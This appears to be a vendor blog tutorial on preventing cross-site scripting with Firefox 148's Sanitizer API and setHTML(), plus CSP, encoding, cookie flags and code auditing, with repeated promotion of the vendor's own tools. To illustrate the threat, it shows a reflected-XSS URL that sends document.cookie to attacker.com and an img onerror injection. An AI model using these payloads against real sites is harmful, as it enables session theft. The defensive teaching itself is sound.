How to Improve XSS Protection in Firefox 148 with setHTML
Why XSS Still Haunts Modern Web Applications
Cross-site scripting has been on the OWASP Top 10 list for decades, and despite the maturity of the web platform, it remains one of the most exploited vulnerability classes in production applications. The reason is deceptively simple: web applications need to render dynamic content, and dynamic content often comes from untrusted sources — user input, third-party APIs, CMS content, URL parameters, and more.
For years, developers have reached for innerHTML as the go-to method for injecting HTML into the DOM. It works, it's familiar, and it's fast. But it's also a loaded gun pointed at your application's security posture. Every time you write something like:
document.getElementById('output').innerHTML = userInput;
...you're potentially opening a door for an attacker to inject <script> tags, event handlers, or other malicious payloads that execute in the context of your page.
Firefox 148 marks a meaningful turning point. Mozilla has shipped the standardized Sanitizer API, introducing setHTML() as a safer, native alternative to innerHTML. This isn't just a new browser feature to bookmark — it's a signal that the web platform is finally catching up to what security-conscious developers have been asking for.
This guide walks through how XSS works at a technical level, why existing mitigations fall short, how the new Sanitizer API changes the equation, and what a complete XSS protection strategy looks like in practice.
How XSS Attacks Actually Work
Before diving into solutions, it's worth being precise about the problem. XSS attacks come in three main flavors:
Reflected XSS
The attacker crafts a URL containing a malicious payload. When the victim visits the URL, the server reflects the payload back in the response, and the browser executes it. Classic example: a search page that echoes the query parameter directly into the page.
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Stored XSS
The payload is persisted in a database — think a comment field, a profile bio, or a product review. Every user who views that content becomes a victim. This is the most dangerous variant because it's persistent and can affect thousands of users without any interaction from the attacker.
DOM-Based XSS
The vulnerability exists entirely in client-side JavaScript. No server-side rendering is involved. The attacker manipulates the DOM environment — typically via window.location, document.referrer, or postMessage — and the JavaScript code writes that untrusted data to the DOM using sinks like innerHTML, document.write, or eval.
DOM-based XSS is particularly tricky because traditional server-side output encoding doesn't help. The payload never hits the server.
The Problem with innerHTML
innerHTML is a DOM sink — meaning it accepts a string and interprets it as HTML, including any scripts or event handlers embedded in that string. There's no built-in sanitization. If you pass it <img src=x onerror=alert(1)>, that event handler fires.
The common workaround has been to use libraries like DOMPurify:
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);
document.getElementById('output').innerHTML = clean;
DOMPurify is excellent — it's well-maintained, battle-tested, and widely used. But it's still an extra dependency, and the sanitize-then-assign pattern has a subtle flaw: there's a gap between sanitization and insertion. A future refactor could accidentally remove the sanitization step, or a developer unfamiliar with the codebase might add a new innerHTML assignment without realizing the input needs to be sanitized first.
The browser has no way to enforce that sanitized content is what's being inserted.
The Sanitizer API and setHTML: A Native Solution
The Sanitizer API, now shipping in Firefox 148, introduces a fundamentally different approach. Instead of sanitizing a string and then passing it to innerHTML, you call setHTML() directly on an element, and the browser handles the sanitization internally before parsing and inserting the HTML.
// Old approach — sanitize manually, then assign
element.innerHTML = DOMPurify.sanitize(untrustedHTML);
// New approach — browser sanitizes and inserts atomically
element.setHTML(untrustedHTML);
The key difference is that setHTML() is a single atomic operation. There's no intermediate sanitized string that could be mishandled. The browser parses the HTML in a safe context and strips dangerous elements and attributes before anything touches the DOM.
Default Behavior
By default, setHTML() strips anything that could execute JavaScript:
<script>elements- Event handler attributes (
onclick,onerror,onload, etc.) javascript:URIs inhrefandsrcattributes<iframe>,<object>,<embed>, and other potentially dangerous elements
Safe HTML — headings, paragraphs, links, images with legitimate sources, lists, tables — passes through untouched.
Custom Sanitizer Configuration
The API also accepts a Sanitizer object that lets you customize the allowed elements and attributes:
const sanitizer = new Sanitizer({
allowElements: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li'],
allowAttributes: {
'a': ['href', 'title'],
'*': ['class']
}
});
element.setHTML(untrustedHTML, { sanitizer });
This is particularly useful for scenarios like rich text editors where you want to allow a specific subset of formatting tags but nothing else. You define the allowlist explicitly, and the browser enforces it.
You can also use blockElements and dropElements to fine-tune behavior:
const sanitizer = new Sanitizer({
blockElements: ['div', 'span'], // replaced with their children
dropElements: ['style', 'link'] // removed entirely, including children
});
setHTMLUnsafe for Trusted HTML
The API also introduces setHTMLUnsafe(), which skips sanitization entirely. This is intended for cases where you're working with declarative shadow DOM or other HTML that requires script-adjacent constructs, and you've already verified the content is safe through other means. The name is intentionally alarming — it's a signal to code reviewers that this line deserves scrutiny.
Building a Comprehensive XSS Defense Strategy
The Sanitizer API is a significant addition, but it's one layer in a defense-in-depth approach. Here's what a complete strategy looks like.
Layer 1: Content Security Policy
A Content Security Policy (CSP) is a response header that tells the browser which sources are allowed to load scripts, styles, images, and other resources. A strict CSP can neutralize XSS even when sanitization fails.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'; base-uri 'self';
The nonce-based approach is particularly effective. Each legitimate script tag gets a server-generated nonce that matches the CSP header. Injected scripts don't have the nonce and are blocked by the browser.
You can verify your CSP and other security headers using the Vulnerability Scanner on OpDeck, which checks for missing or misconfigured headers including Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, and more.
Layer 2: Output Encoding
For content that's rendered as text rather than HTML, use textContent instead of innerHTML. This treats the content as a plain string and never parses it as markup:
// Safe — renders as literal text, no HTML parsing
element.textContent = userInput;
// Dangerous — parses as HTML
element.innerHTML = userInput;
When server-side rendering is involved, use your framework's built-in escaping mechanisms. React, Vue, Angular, and Svelte all escape by default — the dangerous patterns are the escape hatches like dangerouslySetInnerHTML in React, v-html in Vue, or [innerHTML] in Angular. These should be treated with the same scrutiny as setHTMLUnsafe().
Layer 3: Input Validation
Sanitization at the output layer is essential, but validating input at the entry point is also worthwhile. This doesn't mean trying to detect and strip XSS payloads — that approach is fragile and easily bypassed. Instead, validate that input conforms to the expected format:
- A username should match
/^[a-zA-Z0-9_-]{3,32}$/ - A URL should be parsed with
new URL()and onlyhttp:andhttps:protocols should be accepted - A phone number should match a numeric pattern
This reduces the attack surface before data ever reaches the rendering layer.
Layer 4: Subresource Integrity
If you're loading third-party scripts — analytics, fonts, widgets — use Subresource Integrity (SRI) to ensure the loaded file hasn't been tampered with:
<script
src="https://cdn.example.com/library.js"
integrity="sha384-abc123..."
crossorigin="anonymous">
</script>
If the file has been modified (for example, through a supply chain attack), the browser refuses to execute it.
Layer 5: Secure Cookie Configuration
XSS attacks often target session cookies. Make sure cookies are configured with HttpOnly (prevents JavaScript access), Secure (HTTPS only), and SameSite=Strict or SameSite=Lax:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
This won't prevent XSS, but it limits what an attacker can do with a successful injection.
Auditing Your Application for XSS Vulnerabilities
Knowing the theory is one thing — finding actual vulnerabilities in your codebase is another. Here's a practical approach to auditing.
Static Analysis
Tools like ESLint with the eslint-plugin-no-unsanitized plugin can flag dangerous patterns in your JavaScript:
npm install --save-dev eslint-plugin-no-unsanitized
Configure it to warn on innerHTML, outerHTML, insertAdjacentHTML, document.write, and similar sinks. This catches the most obvious cases during development.
Grep for Dangerous Patterns
A quick grep across your codebase can surface risky patterns:
# Find innerHTML assignments
grep -rn "\.innerHTML\s*=" src/
# Find insertAdjacentHTML calls
grep -rn "insertAdjacentHTML" src/
# Find eval usage
grep -rn "\beval\b" src/
# Find dangerouslySetInnerHTML in React
grep -rn "dangerouslySetInnerHTML" src/
Each hit deserves a manual review to determine whether the input is trusted, properly sanitized, or a genuine vulnerability.
Dynamic Testing with Security Headers
Beyond code review, check your deployed application's security posture. The Vulnerability Scanner will analyze your security headers and flag missing protections. Pair this with the SSL Certificate Checker to ensure your HTTPS configuration is solid — XSS over HTTP is trivially exploitable through network-level injection.
Check Your DNS and Domain Configuration
Attackers sometimes exploit subdomain takeover vulnerabilities to serve malicious content from a trusted domain. If a subdomain points to a cloud service you no longer use, an attacker can claim that service and serve content from your domain. Use the DNS Lookup tool to audit your DNS records and identify dangling CNAMEs or unused subdomains that could be hijacked.
Migrating from innerHTML to setHTML
If you're working on a codebase that uses innerHTML extensively, here's a practical migration approach.
Step 1: Inventory Your Sinks
Use the grep patterns above to build a list of every innerHTML assignment in your codebase. Categorize them:
- Trusted content: HTML generated entirely server-side or from constants — these are low risk but still worth migrating for consistency
- Sanitized content: Passed through DOMPurify or similar — good candidates for
setHTML()migration - Unsanitized user input: Immediate security issue — fix these first
Step 2: Replace with setHTML Where Supported
For browsers that support the Sanitizer API:
function safeSetHTML(element, html, sanitizerOptions = {}) {
if (typeof element.setHTML === 'function') {
const sanitizer = new Sanitizer(sanitizerOptions);
element.setHTML(html, { sanitizer });
} else {
// Fallback for browsers without Sanitizer API support
element.innerHTML = DOMPurify.sanitize(html);
}
}
This progressive enhancement approach uses setHTML() when available and falls back to DOMPurify otherwise.
Step 3: Enforce with Linting
Add the no-unsanitized ESLint rule to your CI pipeline to prevent new innerHTML assignments from being introduced without review. Configure it to allow your safeSetHTML wrapper function as an approved pattern.
The Broader Security Picture
XSS protection doesn't exist in isolation. A vulnerability in one area can undermine protections in another. For example:
- A misconfigured CORS policy can allow cross-origin requests that leak sensitive data exfiltrated via XSS
- Clickjacking can be used to trick users into triggering XSS payloads
- Mixed content (HTTP resources on an HTTPS page) can be intercepted and modified to inject scripts
Regularly auditing your application's full security posture — not just XSS-specific mitigations — is essential. This means checking security headers, SSL configuration, DNS records, and the behavior of your APIs under adversarial conditions.
The Vulnerability Scanner covers a broad range of these checks in a single pass, giving you a baseline security report you can act on immediately.
Conclusion
The arrival of setHTML() and the Sanitizer API in Firefox 148 is a genuine step forward for web security. By making safe HTML insertion a first-class browser primitive, the platform reduces the cognitive overhead on developers and closes the gap between "sanitized" and "inserted." The days of innerHTML as the default tool for dynamic content should be numbered.
But browser APIs alone don't make applications secure. XSS protection requires layered defenses: Content Security Policy, output encoding, input validation, secure cookie configuration, and regular security audits. Each layer compensates for the inevitable gaps in the others.
If you want to assess your application's current security posture, start with OpDeck's free tools. The Vulnerability Scanner will surface missing security headers and known misconfigurations, the SSL Certificate Checker will validate your HTTPS setup, and the DNS Lookup tool will help you audit your domain configuration for subdomain takeover risks. Small, systematic improvements compound into a meaningfully more secure application over time.
Try these tools